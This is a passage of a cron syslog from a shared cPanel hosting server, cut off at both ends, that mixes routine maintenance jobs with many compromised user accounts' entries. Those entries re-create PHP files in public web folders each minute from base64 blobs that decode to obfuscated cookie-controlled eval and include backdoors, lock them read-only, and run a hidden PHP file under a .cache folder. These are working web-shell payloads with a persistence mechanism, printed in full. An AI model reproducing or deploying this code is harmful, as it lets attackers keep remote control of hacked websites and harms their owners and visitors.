CAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:54:01 medusa CROND[29003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:54:01 medusa CROND[29002]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:54:01 medusa CROND[29004]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:54:01 medusa CROND[29008]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:55:01 medusa CROND[21806]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21891]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:55:01 medusa CROND[21894]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:55:01 medusa CROND[21895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:55:01 medusa CROND[21896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:55:01 medusa CROND[21905]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21906]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:55:01 medusa CROND[21908]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:55:01 medusa CROND[21909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:55:01 medusa CROND[21910]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:55:01 medusa CROND[21904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21911]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:55:01 medusa CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:55:01 medusa CROND[21916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:55:01 medusa CROND[21917]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:55:01 medusa CROND[21925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21929]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:55:01 medusa CROND[21919]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:55:01 medusa CROND[21918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:55:01 medusa CROND[21913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:55:01 medusa CROND[21924]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:56:01 medusa CROND[13651]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:56:01 medusa CROND[13721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:56:01 medusa CROND[13723]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:56:01 medusa CROND[13724]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:56:01 medusa CROND[13725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:56:01 medusa CROND[13726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:56:01 medusa CROND[13727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:56:01 medusa CROND[13728]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:56:01 medusa CROND[13730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:56:01 medusa CROND[13733]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:56:01 medusa CROND[13734]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:56:01 medusa CROND[13740]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:56:01 medusa CROND[13737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 